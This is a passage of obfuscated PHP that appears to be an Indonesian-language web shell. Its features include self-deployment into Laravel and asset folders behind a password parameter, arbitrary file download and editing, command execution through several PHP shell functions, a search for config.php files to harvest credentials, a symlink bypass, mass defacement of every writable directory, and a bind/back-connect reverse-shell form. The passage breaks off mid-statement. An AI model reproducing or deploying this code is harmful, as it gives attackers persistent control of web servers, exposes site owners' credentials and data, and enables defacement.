$urlconsole_laravel = $url . "\x2f\x70\165\142\x6c\151\x63\57\154\x61\162\x61\x76\145\x6c\x5f\151\144\145\137\150\x65\x6c\160\x65\162\56\x70\150\160\77\x70\x61\163\163\75\143\x55\141\x4e\142\105\x72\123\x61\x4d\141\x53\x61\115\x61\x41\x6e\112\145\116\x67\x4a\141\x4e\143\x4f\147"; $status = file_put_contents($fileconsole, $isiconsole); if ($status) { $console_result .= "\74\x73\160\x61\156\40\x63\154\x61\163\163\x3d\x22\x74\x65\170\x74\55\163\x75\143\x63\x65\163\x73\x22\x3e\102\145\162\x68\141\x73\151\x6c\x20\x44\145\160\x6c\x6f\x79\40\x43\157\156\163\x6f\x6c\x65\x21\74\57\x73\x70\x61\x6e\76\46\156\x62\x73\160\x3b\46\156\142\x73\x70\x3b\46\x6e\x62\163\x70\x3b\40\x3c\x73\160\141\x6e\40\x63\154\141\163\x73\x3d\42\164\x65\x78\x74\55\x69\x6e\146\157\42\76\74\x61\40\x68\x72\145\x66\75\47" . $urlconsole_laravel . "\x27\143\x6c\141\x73\x73\75\42\x74\x65\170\164\x2d\151\156\146\x6f\x22\x20\164\141\162\147\145\x74\x3d\42\137\164\x61\162\147\x65\164\x22\40\x72\x65\x6c\x3d\42\156\x6f\146\157\x6c\x6c\x6f\167\x20\156\157\157\x70\145\156\145\162\x20\156\157\162\x65\146\x65\x72\162\x65\x72\42\x3e{$urlconsole_wp}\74\57\x61\76\x3c\x2f\x73\160\141\156\x3e\74\x62\162\76"; chmod($fileconsole, 292); } else { $console_result .= "\74\x73\160\x61\x6e\x20\x63\154\141\163\163\75\42\x74\145\x78\x74\x2d\144\141\156\147\145\162\42\76\x47\x61\x67\x61\154\40\104\145\160\154\x6f\x79\40\103\x6f\156\x73\157\x6c\x65\x21\x3c\57\163\x70\141\156\x3e\x3c\x62\x72\76"; } } else { $dirconsole_laravel_fallback = $dirconsole . "\57\160\165\142\x6c\151\143\57\x76\145\156\x64\x6f\162"; $fileconsole = $dirconsole_laravel_fallback . "\57\x63\x6f\x6d\160\x6f\163\x65\162\55\141\165\164\x6f\x6c\x6f\141\144\x2e\x70\x68\x70"; $urlconsole_laravel_fallback = $url . "\57\160\165\142\154\151\143\57\166\x65\156\x64\157\162\x2f\143\157\x6d\160\157\163\145\x72\55\x61\165\164\x6f\154\157\141\144\56\x70\x68\160\77\x70\141\163\x73\75\143\x55\x61\x4e\142\105\162\123\x61\x4d\x61\123\141\115\141\101\x6e\x4a\x65\116\147\112\x61\116\143\117\147"; $status = file_put_contents($fileconsole, $isiconsole); if ($status) { $console_result .= "\x3c\163\160\141\156\40\143\154\141\163\163\75\42\164\145\170\164\55\163\x75\x63\x63\x65\163\163\42\x3e\x42\x65\x72\x68\141\163\x69\x6c\x20\x44\145\x70\x6c\x6f\x79\40\x43\157\x6e\x73\157\154\x65\41\74\x2f\x73\160\x61\156\76\46\x6e\x62\x73\x70\x3b\46\156\142\163\x70\73\x26\156\x62\163\160\73\40\x3c\x73\x70\141\x6e\40\143\x6c\x61\163\163\75\42\164\145\170\164\x2d\151\156\x66\157\42\76\74\x61\x20\x68\162\145\146\x3d\x27" . $urlconsole_laravel_fallback . "\47\143\x6c\141\x73\x73\x3d\x22\164\145\x78\164\x2d\x69\x6e\146\157\x22\x20\164\141\x72\x67\145\x74\x3d\42\x5f\164\141\x72\147\x65\164\x22\40\x72\x65\x6c\x3d\42\x6e\x6f\x66\157\154\154\157\x77\x20\x6e\157\x6f\x70\145\156\145\162\40\156\157\162\145\x66\x65\162\x72\x65\162\42\x3e{$urlconsole_wp}\74\x2f\141\76\74\x2f\x73\160\141\156\76\x3c\x62\162\76"; chmod($fileconsole, 292); } else { $console_result .= "\74\163\x70\x61\156\x20\143\x6c\x61\x73\163\75\x22\x74\145\x78\164\x2d\144\141\156\147\145\162\x22\x3e\107\141\x67\x61\x6c\x20\x44\145\160\x6c\157\x79\x20\103\x6f\156\x73\157\x6c\x65\41\74\x2f\163\x70\141\x6e\76\74\142\x72\76"; } } if (is_dir($dirconsole_cms_lainnya) && is_writeable($dirconsole_cms_lainnya)) { $fileconsole = $dirconsole_cms_lainnya . "\142\x6f\157\x74\x73\x74\162\x61\160\x2e\160\x68\x70"; $urlconsole_cms_lainnya = $url . "\57\141\163\x73\145\164\163\57\x62\157\157\x74\163\164\162\x61\160\x2e\x70\x68\160\77\x70\x61\x73\163\x3d\x63\x55\141\116\142\105\162\123\x61\x4d\x61\x53\x61\x4d\141\101\x6e\x4a\145\x4e\x67\112\141\x4e\x63\117\x67"; $status = file_put_contents($fileconsole, $isiconsole); if ($status) { $console_result .= "\x3c\163\160\141\x6e\40\x63\154\141\163\x73\x3d\42\164\145\170\x74\x2d\163\x75\x63\x63\x65\163\163\42\x3e\102\145\162\x68\141\163\151\x6c\40\104\145\x70\154\x6f\x79\x20\103\157\x6e\163\157\154\x65\41\74\x2f\x73\x70\141\156\x3e\40\74\x61\x20\x68\x72\x65\146\75\47" . $urlconsole_cms_lainnya . "\x27\x63\154\x61\163\x73\x3d\x22\164\x65\170\x74\55\151\x6e\146\x6f\42\40\x74\141\162\x67\145\164\x3d\x22\x5f\x74\x61\162\147\x65\164\x22\40\162\145\154\75\x22\156\x6f\x66\x6f\154\154\157\167\40\x6e\157\157\x70\145\x6e\x65\162\x20\x6e\x6f\162\x65\146\145\x72\x72\145\162\x22\x3e{$urlconsole_wp}\x3c\x2f\x61\76\x3c\x62\162\76"; chmod($fileconsole, 292); } else { $console_result .= "\x3c\163\160\x61\156\40\143\154\x61\163\163\75\x22\x74\x65\170\164\55\144\x61\156\147\145\162\42\76\x47\x61\x67\141\154\x20\104\x65\160\154\157\171\x20\x43\157\156\163\x6f\154\x65\x21\x3c\x2f\163\160\141\x6e\x3e\x3c\x62\162\x3e"; } } else { $dirconsole_cms_lainnya_fallback = $dirconsole . "\x2f\143\x73\163"; $fileconsole = $dirconsole_cms_lainnya_fallback . "\x2f\142\x6f\x6f\x74\x73\x74\x72\141\160\x2e\160\x68\x70"; $urlconsole_cms_lainnya_fallback = $url . "\x2f\143\x73\163\57\x62\157\x6f\164\163\164\x72\141\x70\56\x70\x68\160\77\160\x61\x73\163\x3d\143\x55\141\x4e\142\105\x72\x53\141\x4d\x61\x53\x61\115\x61\x41\x6e\x4a\x65\x4e\x67\112\141\x4e\143\x4f\x67"; $status = file_put_contents($fileconsole, $isiconsole); if ($status) { $console_result .= "\x3c\163\160\x61\x6e\40\143\x6c\x61\x73\163\x3d\x22\164\x65\170\164\55\x73\165\143\x63\x65\x73\163\42\x3e\x42\145\x72\x68\141\x73\151\154\40\x44\145\160\154\x6f\x79\40\x43\157\156\163\157\154\145\41\x3c\x2f\163\x70\x61\156\76\x20\x3c\x61\x20\150\162\145\x66\x3d\47" . $urlconsole_cms_lainnya_fallback . "\x27\143\x6c\141\x73\163\75\42\164\x65\x78\164\55\151\x6e\146\x6f\42\x20\x74\141\x72\x67\x65\x74\75\42\x5f\164\x61\x72\x67\145\x74\42\x20\x72\x65\x6c\x3d\x22\156\157\x66\157\154\154\157\167\x20\x6e\157\157\160\145\x6e\145\x72\x20\x6e\x6f\x72\145\x66\x65\162\162\145\x72\42\76{$urlconsole_wp}\x3c\x2f\141\x3e\74\x62\162\x3e"; chmod($fileconsole, 292); } else { $console_result .= "\x3c\163\160\141\156\x20\x63\x6c\141\163\x73\75\x22\x74\145\170\164\x2d\x64\141\156\147\145\162\42\x3e\107\141\147\141\x6c\40\x44\x65\x70\154\x6f\171\40\103\x6f\156\x73\x6f\x6c\x65\41\x3c\x2f\163\x70\x61\156\76\74\142\162\x3e"; } } echo "\x3c\144\x69\x76\40\x63\154\141\x73\163\x3d\42\x73\x6d\141\154\154\141\x72\145\x61\x22\40\x6e\x61\x6d\145\x3d\x22\x6f\x75\164\x70\165\x74\40\163\164\x79\x6c\145\75\42\142\157\x72\x64\x65\x72\55\142\x6f\164\x74\157\x6d\72\x30\73\x6d\141\162\147\x69\156\x2d\164\x6f\x70\72\x35\x70\170\73\42\40\162\145\x61\x64\x6f\156\x6c\171\x3e"; print_r($console_result) . PHP_EOL; echo "\74\x2f\x64\x69\x76\x3e\x3c\x2f\144\x69\x76\76\74\x2f\x64\151\x76\76"; } goto rOCVT; XBmL5: if (isset($_GET["\146\151\154\x65"]) && $_GET["\146\x69\154\x65"] != '' && $_GET["\141\x6b\163\151"] == "\x64\157\167\156\x6c\157\141\144") { @ob_clean(); $file = $_GET["\146\x69\154\x65"]; header("\103\157\x6e\164\145\x6e\164\x2d\x44\x65\x73\143\x72\x69\x70\x74\151\157\x6e\x3a\40\x46\x69\x6c\x65\x20\x54\x72\141\156\163\x66\145\x72"); header("\x43\157\x6e\x74\x65\x6e\x74\55\x54\171\x70\x65\x3a\40\141\160\x70\x6c\x69\x63\x61\164\x69\157\156\57\157\143\x74\x65\x74\x2d\x73\x74\162\145\x61\155"); header("\x43\157\156\x74\x65\156\x74\55\x44\x69\163\x70\x6f\163\151\x74\x69\157\156\72\40\x61\x74\x74\x61\143\x68\x6d\x65\x6e\x74\73\40\x66\151\154\145\156\141\155\145\x3d\42" . basename($file) . "\x22"); header("\x45\x78\x70\151\162\x65\163\72\40\60"); header("\103\141\143\x68\145\x2d\x43\157\x6e\164\x72\x6f\154\x3a\40\x6d\165\x73\x74\x2d\x72\145\166\141\x6c\x69\x64\141\164\x65"); header("\x50\162\141\x67\x6d\141\x3a\40\160\165\x62\x6c\151\x63"); header("\x43\157\156\x74\x65\x6e\x74\x2d\x4c\x65\156\x67\164\x68\72\x20" . filesize($file)); readfile($file); die; } goto y70kv; lzhZh: if (isset($_GET["\x61\x62\157\x75\x74"])) { about(); } goto Pt7aW; n8lqi: function IIIIIIIl1l11($dir, $file, $IIIIIIII1l1I, $IIIIIIII1l1l) { function IIIIIIIl11II($dir, $IIIIIIIl11Il, $IIIIIIIl11I1) { if (is_writable($dir)) { $IIIIIIIl11lI = scandir($dir); foreach ($IIIIIIIl11lI as $IIIIIIIl11ll) { $IIIIIIIl11l1 = "{$dir}\57{$IIIIIIIl11ll}"; $IIIIIIIl111I = $IIIIIIIl11l1 . "\57" . $IIIIIIIl11Il; if ($IIIIIIIl11ll === "\56") { file_put_contents($IIIIIIIl111I, $IIIIIIIl11I1); } elseif ($IIIIIIIl11ll === "\56\56") { file_put_contents($IIIIIIIl111I, $IIIIIIIl11I1); } else { if (is_dir($IIIIIIIl11l1)) { if (is_writable($IIIIIIIl11l1)) { echo "\x44\x6f\x6e\x65\x20\76\40{$IIIIIIIl111I}\12"; file_put_contents($IIIIIIIl111I, $IIIIIIIl11I1); $masdef = IIIIIIIl11II($IIIIIIIl11l1, $IIIIIIIl11Il, $IIIIIIIl11I1); } } } } } } function IIIIIIIl1111($dir, $IIIIIIIl11Il, $IIIIIIIl11I1) { if (is_writable($dir)) { $IIIIIIIl11lI = scandir($dir); foreach ($IIIIIIIl11lI as $IIIIIIIl11ll) { $IIIIIIIl11l1 = "{$dir}\x2f{$IIIIIIIl11ll}"; $IIIIIIIl111I = $IIIIIIIl11l1 . "\x2f" . $IIIIIIIl11Il; if ($IIIIIIIl11ll === "\56") { file_put_contents($IIIIIIIl111I, $IIIIIIIl11I1); } elseif ($IIIIIIIl11ll === "\x2e\x2e") { file_put_contents($IIIIIIIl111I, $IIIIIIIl11I1); } else { if (is_dir($IIIIIIIl11l1)) { if (is_writable($IIIIIIIl11l1)) { echo "\x44\157\x6e\x65\40\x3e\x20{$IIIIIIIl11ll}\57{$IIIIIIIl11Il}\xa"; file_put_contents($IIIIIIIl111I, $IIIIIIIl11I1); } } } } } } if ($_POST["\163\x74\141\162\164"]) { echo "\x5b\40\74\x61\x20\150\162\145\146\75\47\77\144\x69\162\x3d{$dir}\x27\76\x4b\145\x6d\142\x61\x6c\151\74\57\141\76\x20\135\xa\x3c\164\145\170\x74\141\x72\145\141\40\x63\154\x61\x73\x73\x3d\47\x66\157\x72\x6d\55\143\x6f\x6e\164\x72\157\154\x27\40\162\x6f\167\x73\75\47\61\65\47\x20\144\x69\x73\141\x62\x6c\145\144\75\47\x27\76"; if ($_POST["\x74\151\x70\x65"] == "\155\x61\x68\141\154") { IIIIIIIl11II($_POST["\144\137\144\151\x72"], $_POST["\144\x5f\x66\151\154\x65"], $_POST["\163\x63\162\x69\160\x74"]); } elseif ($_POST["\164\151\160\x65"] == "\x6d\165\x72\141\150") { IIIIIIIl1111($_POST["\x64\137\x64\x69\162"], $_POST["\144\137\146\x69\154\145"], $_POST["\x73\x63\162\151\x70\164"]); } echo "\x3c\57\164\145\170\x74\x61\x72\x65\141\x3e\74\142\162\x2f\76"; } else { echo "\74\x66\157\x72\x6d\x20\155\x65\164\150\157\x64\x3d\x27\x70\157\163\164\x27\x3e\12\74\144\x69\166\40\143\x6c\141\163\163\75\47\x74\x65\170\x74\55\x63\145\x6e\x74\x65\x72\x27\76\xa\74\150\x35\x3e\124\x69\160\145\x20\x3a\x3c\57\150\65\76\xa\x3c\x69\156\x70\x75\x74\x20\x69\x64\75\47\164\x6f\x67\x67\x6c\x65\x2d\x6f\156\47\40\143\154\x61\x73\163\75\47\x74\x6f\147\x67\x6c\x65\x20\x74\157\x67\x67\154\145\x2d\154\x65\x66\x74\x27\x20\x6e\x61\x6d\145\x3d\47\x74\151\x70\x65\x27\40\x76\141\x6c\165\145\x3d\47\155\165\162\141\150\47\40\x74\x79\x70\145\75\x27\162\x61\144\x69\x6f\47\40\x63\150\145\143\x6b\145\x64\76\12\x3c\x6c\x61\142\x65\154\40\146\x6f\x72\75\47\164\157\147\147\x6c\145\55\x6f\156\47\40\143\x6c\x61\163\x73\x3d\47\142\165\x74\x6e\47\76\102\x69\x61\163\x61\x3c\x2f\x6c\141\x62\x65\154\76\12\74\x69\156\x70\x75\x74\40\151\144\75\x27\164\x6f\x67\147\x6c\145\x2d\157\146\x66\47\x20\143\154\x61\x73\163\x3d\x27\164\x6f\x67\x67\154\145\40\164\157\147\147\154\145\x2d\162\x69\147\x68\x74\x27\x20\156\x61\x6d\145\x3d\47\164\151\160\145\47\40\166\141\x6c\165\145\75\47\x6d\x61\150\141\x6c\47\40\164\x79\160\x65\x3d\x27\x72\x61\144\x69\157\47\76\12\74\154\141\142\x65\x6c\x20\x66\x6f\162\x3d\x27\164\x6f\147\x67\x6c\145\x2d\157\x66\146\x27\x20\x63\154\x61\163\x73\x3d\47\142\x75\x74\x6e\x27\x3e\115\141\x73\141\154\74\57\154\141\142\x65\154\x3e\xa\x3c\x2f\x64\x69\166\x3e\x20\xa\x3c\150\x35\76{$IIIIIIII1l1I}\40\114\157\153\141\163\x69\x20\72\74\57\x68\65\76\xa\74\151\156\160\x75\164\x20\164\171\x70\x65\75\x27\x74\x65\170\x74\47\40\x6e\x61\x6d\x65\x3d\x27\144\137\144\x69\162\x27\x20\166\141\154\x75\x65\x3d\47{$dir}\47\x20\x63\x6c\x61\163\163\x3d\47\x66\x6f\162\155\55\x63\157\156\x74\x72\x6f\x6c\x27\x3e\x3c\x62\162\x3e\12\x3c\150\x35\76{$IIIIIIII1l1l}\x20\x4e\x61\x6d\141\x20\x46\x69\x6c\x65\x20\72\74\x2f\150\65\76\12\x3c\151\156\x70\165\x74\x20\164\x79\x70\x65\x3d\x27\x74\x65\x78\164\x27\x20\156\x61\155\145\x3d\47\x64\137\x66\x69\x6c\x65\47\40\160\154\x61\143\145\x68\x6f\154\144\x65\x72\x3d\47\133\x45\170\x5d\40\151\156\x64\145\170\56\160\x68\160\47\40\143\x6c\141\163\163\x3d\47\x66\x6f\x72\155\55\143\157\156\x74\162\x6f\154\47\x3e\74\x62\x72\x2f\x3e\xa\74\x68\65\76{$IIIIIIII1l1l}\40\x49\163\151\x20\x46\x69\154\145\40\72\74\x2f\x68\x35\76\xa\x3c\x74\x65\170\x74\141\x72\145\141\40\x6e\x61\x6d\145\x3d\47\163\143\162\151\x70\164\47\x20\143\x6c\x61\x73\x73\75\x27\146\x6f\x72\x6d\55\143\x6f\156\x74\x72\x6f\154\x27\x20\x72\x6f\167\163\75\47\61\63\47\x20\160\154\141\143\x65\150\x6f\x6c\144\145\x72\75\x27\133\105\170\x5d\x20\x48\141\x63\x6b\145\144\x20\x42\x79\x20\x52\157\x6f\164\40\x48\x75\x6e\x74\x65\x72\x27\76\x3c\57\x74\145\x78\x74\x61\x72\x65\x61\x3e\x3c\142\162\57\76\xa\x3c\151\x6e\x70\165\164\x20\x74\171\160\145\x3d\x27\163\165\142\155\151\164\x27\40\156\141\155\x65\75\47\x73\164\x61\162\164\47\40\166\x61\x6c\x75\x65\x3d\47\x4d\141\163\163\40\x44\x65\146\141\143\x65\x27\x20\x63\x6c\x61\163\x73\75\x27\142\164\156\x20\142\x74\156\x2d\144\141\156\x67\x65\162\x20\x62\x74\156\x2d\142\x6c\x6f\143\153\47\76\12\74\x2f\x66\x6f\162\155\x3e"; } die; } goto VOkoG; NfE3m: $IIIIIIIIl1l1 = explode("\57", $path); goto fk8xa; kyGyA: function ex($cmd) { if (function_exists("\163\x79\163\x74\145\x6d")) { @ob_start(); @system($cmd); $IIIIIIIII11l = @ob_get_contents(); @ob_end_clean(); } elseif (function_exists("\145\170\x65\x63")) { @exec($cmd, $IIIIIIIIlII1); $IIIIIIIII11l = join("\12", $IIIIIIIIlII1); } elseif (function_exists("\x70\x61\x73\163\x74\150\162\165")) { @ob_start(); @passthru($cmd); $IIIIIIIII11l = @ob_get_contents(); @ob_end_clean(); } elseif (function_exists("\163\150\145\x6c\154\x5f\x65\x78\145\x63")) { $IIIIIIIII11l = @shell_exec($cmd); } elseif (function_exists("\160\x72\x6f\143\x5f\157\x70\x65\x6e")) { $IIIIIIIIlI1I = array(0 => array("\160\x69\x70\x65", "\162"), 1 => array("\x70\x69\x70\x65", "\167"), 2 => array("\160\x69\160\x65", "\167")); $IIIIIIIIlI1l = proc_open($cmd, $IIIIIIIIlI1I, $IIIIIIIIllII); if (is_resource($IIIIIIIIlI1l)) { if (function_exists("\x66\x72\145\x61\144") && function_exists("\x66\x65\157\146")) { while (!feof($IIIIIIIIllII[1])) { $IIIIIIIII11l .= fread($IIIIIIIIllII[1], 512); } } elseif (function_exists("\x66\147\145\x74\163") && function_exists("\146\x65\157\146")) { while (!feof($IIIIIIIIllII[1])) { $IIIIIIIII11l .= fgets($IIIIIIIIllII[1], 512); } } } pclose($IIIIIIIIlI1l); } elseif (function_exists("\160\157\160\x65\156")) { $IIIIIIIIlI1l = popen($cmd, "\x72"); if (is_resource($IIIIIIIIlI1l)) { if (function_exists("\x66\162\145\x61\x64") && function_exists("\146\145\x6f\x66")) { while (!feof($IIIIIIIIlI1l)) { $IIIIIIIII11l .= fread($IIIIIIIIlI1l, 512); } } elseif (function_exists("\146\x67\145\x74\x73") && function_exists("\x66\145\157\x66")) { while (!feof($IIIIIIIIlI1l)) { $IIIIIIIII11l .= fgets($IIIIIIIIlI1l, 512); } } } pclose($IIIIIIIIlI1l); } $IIIIIIIII11l = wordwrap(htmlspecialchars($IIIIIIIII11l)); return $IIIIIIIII11l; } goto k8V3L; OWytU: if ($_GET["\x61\x6b\163\151"] == "\x77\162\151\164\x65") { IIIIIIIlI11l($dir, $IIIIIIII1l1I); } goto C142H; nyJNx: if ($_GET["\141\153\x73\x69"] == "\163\x79\x6d\x5f\142\171\x70\141\x73") { IIIIIIlIIIII($dir, $file); } goto dSTbr; rgLk1: $IIIIIIII1IIl = phpversion(); goto IMYQ9; x6dqP: $IIIIIIII1Il1 = explode("\x20\x2f\40", $dir); goto WPQAH; xaPb1: if ($_GET["\141\153\x73\151"] == "\144\145\x70\154\x6f\171\162\150") { deployrh($dir); } goto BxahF; AjK8T: if (isset($_GET["\143\x6f\156\146\x69\147\x73\x65\x61\162\x63\x68\151\x6e\x67"])) { $IIIIIIlllI11 = $_GET["\x63\157\156\146\151\x67\x73\x65\141\x72\143\x68\x69\x6e\x67"]; echo "\74\x64\x69\x76\40\x63\x6c\141\163\163\75\x27\143\x61\x72\144\47\x3e\xa\x3c\x64\151\166\x20\x63\154\141\163\x73\x3d\x27\143\141\x72\x64\x2d\x62\157\144\171\40\x66\x6f\162\155\55\147\162\157\x75\160\x27\76\74\160\x20\143\x6c\x61\x73\163\x3d\47\164\145\170\164\x2d\144\141\162\153\47\76\133\x2b\x5d\40\106\x6f\165\x6e\x64\x20\x3a\40\74\57\160\x3e\x3c\x2f\142\x72\76\x3c\x70\x20\x63\154\141\163\x73\75\47\x74\x65\170\x74\x2d\x64\x61\x72\153\x27\76" . ex("\x66\151\156\x64\40{$IIIIIIlllI11}\x20\55\156\141\155\145\x20\x27\x2a\143\x6f\156\x66\151\x67\56\x70\x68\160\47\x20\76\76\40\x63\x61\x6b\151\x6c\143\x6f\x6e\x66\x2e\164\x78\164\x3b\143\x61\x74\40\x63\x61\153\x69\x6c\x63\157\x6e\x66\x2e\x74\170\x74") . "\74\x2f\160\x3e\74\57\144\151\x76\x3e\74\57\144\151\x76\x3e"; die; } goto lzhZh; w0veY: $IIIIIIII1III = getHostByName(getHostName()); goto rgLk1; aV7hf: function view($dir, $file, $IIIIIIIlllIl, $IIIIIIII1l1l) { echo "\133\x20\74\x61\x20\143\154\141\x73\x73\x3d\42\x61\x63\164\151\166\x65\42\40\x68\162\x65\x66\75\x22\x3f\x64\x69\x72\x3d" . $dir . "\x26\141\153\163\x69\x3d\166\151\x65\167\46\146\x69\x6c\x65\x3d" . $file . "\42\76\114\151\x68\x61\x74\74\x2f\141\x3e\40\x5d\x20\40\x5b\x20\x3c\x61\40\150\x72\145\x66\x3d\42\77\144\151\162\75" . $dir . "\x26\x61\x6b\x73\x69\x3d\x65\144\151\164\x26\146\151\x6c\x65\x3d" . $file . "\x22\x3e\x45\144\x69\164\x3c\57\x61\x3e\40\x5d\x20\40\133\40\74\141\x20\x68\x72\x65\x66\75\x22\77\144\151\x72\x3d" . $dir . "\46\141\x6b\163\151\75\x72\x65\x6e\141\x6d\x65\x26\146\151\x6c\x65\x3d" . $file . "\x22\76\122\145\156\x61\x6d\145\x3c\57\141\76\x20\135\x20\40\133\40\74\141\x20\150\162\145\146\x3d\42\77\144\151\162\x3d" . $dir . "\46\141\x6b\163\151\x3d\x68\141\160\x75\163\146\x26\146\x69\154\x65\75" . $file . "\x22\76\104\x65\154\x65\x74\145\x3c\57\141\x3e\x20\x5d\12\x3c\150\65\x20\143\154\x61\x73\x73\x3d\x22\x6d\164\55\63\40\x6d\142\55\63\x22\x3e" . $IIIIIIII1l1l . "\40\114\151\x68\141\x74\x20\106\x69\x6c\x65\x20\72\x20" . $IIIIIIIlllIl . "\x3c\57\x68\x35\76\12\x3c\160\x72\x65\40\x63\154\141\163\x73\x3d\x22\x63\157\144\145\x22\x3e\74\143\x6f\144\x65\x20\162\x6f\x77\x73\75\42\61\65\42\x20\143\154\x61\163\x73\75\x22\143\x6f\x64\x65\40\x66\157\162\x6d\x2d\143\157\156\x74\162\x6f\x6c\42\x20\144\151\163\x61\x62\154\x65\144\75\x22\42\76" . htmlspecialchars(@file_get_contents($file)) . "\74\x2f\x63\x6f\x64\145\76\x3c\57\x70\162\x65\76\74\x74\x65\170\164\141\x72\x65\x61\x20\163\164\171\154\145\x3d\x22\143\157\x6c\x6f\162\x3a\164\162\x61\x6e\163\160\141\162\145\156\164\x3b\167\151\144\164\150\72\61\60\x30\45\73\x62\x61\x63\153\147\162\x6f\165\x6e\x64\x3a\x74\x72\141\x6e\163\x70\141\162\x65\156\x74\73\142\x6f\x72\x64\145\162\72\164\162\x61\x6e\163\x70\141\x72\145\x6e\x74\73\x6f\x76\145\162\x66\154\x6f\167\72\x68\x69\x64\144\145\x6e\73\x68\x65\151\147\150\164\x3a\60\160\170\x3b\x22\x20\151\144\x3d\42\x63\157\144\x65\126\151\145\x77\42\x20\x72\x65\141\x64\x6f\156\x6c\171\x3e" . htmlspecialchars(@file_get_contents($file)) . "\74\x2f\164\x65\x78\164\x61\x72\x65\141\x3e\12\x3c\x62\165\164\x74\x6f\156\40\x63\154\x61\163\x73\x3d\42\142\164\x6e\40\x62\164\156\x2d\163\x75\x63\143\x65\x73\x73\40\142\164\x6e\55\x62\154\157\143\x6b\40\155\x62\55\65\x22\x20\157\x6e\143\154\x69\x63\153\x3d\42\x63\157\x70\x79\x68\141\163\x69\x6c\50\51\x22\x3e\103\157\160\171\74\57\142\x75\x74\x74\157\x6e\x3e"; } goto kxXTS; VHEhv: function IIIIIIlIIIll($dir, $file) { echo "\x3c\150\x34\40\x63\x6c\141\163\x73\75\x27\x74\145\170\164\x2d\143\145\x6e\x74\145\162\x20\x6d\142\x2d\x34\47\76\x42\x61\143\x6b\x20\x43\x6f\x6e\x6e\x65\143\x74\x20\124\x6f\x6f\154\x73\x3c\x2f\150\x34\76\xa\74\146\x6f\x72\x6d\40\155\x65\x74\150\157\x64\75\47\x70\157\163\x74\x27\76\12\74\144\x69\166\x20\143\154\x61\163\x73\x3d\x27\x72\157\x77\47\x3e\12\74\x64\x69\166\x20\x63\x6c\141\163\x73\75\47\x63\x6f\x6c\55\x6d\144\55\61\x30\47\76\xa\74\163\160\141\x6e\76\102\151\156\144\40\x70\x6f\x72\164\x20\164\x6f\40\57\142\151\156\57\x73\x68\x20\133\x50\x65\162\154\135\x3c\x2f\x73\160\x61\x6e\76\74\x62\x72\x2f\76\xa\74\154\x61\142\145\x6c\x3e\x50\x6f\162\164\40\x3a\x3c\57\154\x61\142\145\154\x3e\12\x3c\144\151\166\40\x63\154\141\x73\163\75\47\146\157\x72\155\x2d\147\x72\x6f\165\x70\40\x69\x6e\160\165\x74\x2d\x67\x72\x6f\165\160\x20\x6d\x62\x2d\x34\x27\76\12\x3c\151\x6e\x70\165\164\40\x74\x79\x70\145\x3d\x27\164\x65\170\164\x27\40\156\141\x6d\x65\75\x27\160\x6f\162\164\47\40\143\154\x61\163\x73\x3d\47\146\157\162\x6d\x2d\x63\157\x6e\164\162\x6f\x6c\x27\40\x76\x61\154\x75\145\75\47\x36\x39\66\71\x27\76\xa\x3c\x69\x6e\160\x75\x74\x20\x74\171\x70\145\75\47\x73\x75\x62\x6d\x69\x74\x27\40\x6e\x61\155\x65\75\47\142\x70\154\x27\x20\143\x6c\x61\x73\163\75\x27\142\x74\x6e\x20\142\x74\156\55\144\x61\x6e\x67\x65\162\x20\x66\x6f\x72\155\x2d\143\x6f\156\164\162\157\x6c\x27\40\x76\x61\x6c\165\x65\75\47\x52\145\163\x65\x72\166\145\47\x3e\12\x3c\57\144\151\166\x3e\12\74\150\65\76\102\141\x63\x6b\55\103\x6f\156\x6e\145\143\x74\x3c\x2f\x68\x35\x3e\12\74\x6c\141\142\x65\x6c\76\x53\145\x72\x76\x65\x72\40\x3a\74\57\154\141\142\x65\x6c\x3e\12\x3c\151\x6e\160\x75\x74\40\164\171\x70\145\75\x27\164\145\x78\x74\47\40\x6e\x61\155\145\75\47\x73\x65\x72\166\x65\162\x27\40\x63\154\x61\163\x73\75\47\x66\157\162\155\55\x63\157\156\164\x72\157\154\40\x6d\142\x2d\63\x27\x20\x70\x6c\x61\143\145\x68\x6f\x6c\x64\145\162\75\x27" . $_SERVER["\122\105\115\x4f\x54\105\137\x41\104\104\x52"] . "\x27\x3e\12\74\154\141\142\x65\x6c\76\x50\x6f\162\x74\40\x3a\74\x2f\154\x61\142\145\154\x3e\xa\x3c\144\x69\166\40\143\154\141\163\163\x3d\x27\146\x6f\162\x6d\x2d\x67\x72\157\165\160\x20\151\x6e\x70\165\164\x2d\147\x72\157\165\x70\40\155\142\x2d\64\x27\x3e\12\74\x69\x6e\x70\165\164\40\164\171\x70\x65\x3d\47\164\145\x78\164\47\40\x6e\141\155\145\x3d\x27\160\x6f\162\164\x27\40\x63\154\141\163\163\75\47\x66\x6f\x72\x6d\55\143\157\x6e\164\x72\x6f\x6c\x27\x20\x70\x6c\x61\x63\x65\150\157\x6c\144\x65\x72\75\x27\x34\64\x33\47\76\xa\74\x73\145\x6c\145\143\164\40\143\154\141\x73\163\75\x27\146\157\x72\155\55\143\157\156\164\162\x6f\154\x27\40\156\141\x6d\145\75\47\x62\x61\x63\x6b\143\157\x6e\x6e\x65\x63\164\47\76\12\x3c\x6f\x70\x74\x69\157\156\x20\166\141\x6c\x75\145\75\47\x70\145\x72\x6c\x27\76\120\x65\162\x6c\74\57\x6f\160\164\151\157\x6e\76\xa\x3c\157\160\164\x69\x6f\156\x20\166\x61\154\x75\145\75\47\x70\x68\x70\x27\x3e\x50\x48\x50\74\x2f\157\x70\164\x69\x6f\156\76\xa\x3c\157\160\x74\x69\x6f\x6e\x20\x76\141\x6c\165\145\75\x27\160\x79\164\x68\x6f\x6e\47\x3e\120\x79\x74\150\x6f\156\x3c\57\157\160\164\x69\x6f\156\x3e\12\x3c\157\160\x74\151\157\156\40\x76\141\x6c\x75\x65\x3d\x27\162\x75\x62\x79\x27\76\x52\x75\x62\171\74\57\x6f\x70\x74\x69\157\156\76\xa\x3c\x2f\x73\145\x6c\145\143\x74\76\12\74\x2f\144\151\166\x3e\12\74\151\156\160\x75\164\x20\x74\x79\x70\x65\x3d\47\x73\165\142\155\x69\164\47\40\143\x6c\x61\x73\x73\x3d\47\142\164\156\40\142\164\x6e\55\144\141\x6e\x67\145\162\40\x62\x74\x6e\x2d\142\x6c\157\x63\153\47\40\166\x61\154\165\x65\x3d\47\103\x6f\x6e\156\145\143\164\47\76\12\x3c\x2f\144\x69\166\x3e\12\74\x2f\144\151\x76\76\12\x3c\57\x66\x6f\x72\155\x3e"; if ($_POST["\x62\160\154"]) { $IIIIIIlIIIl1 = 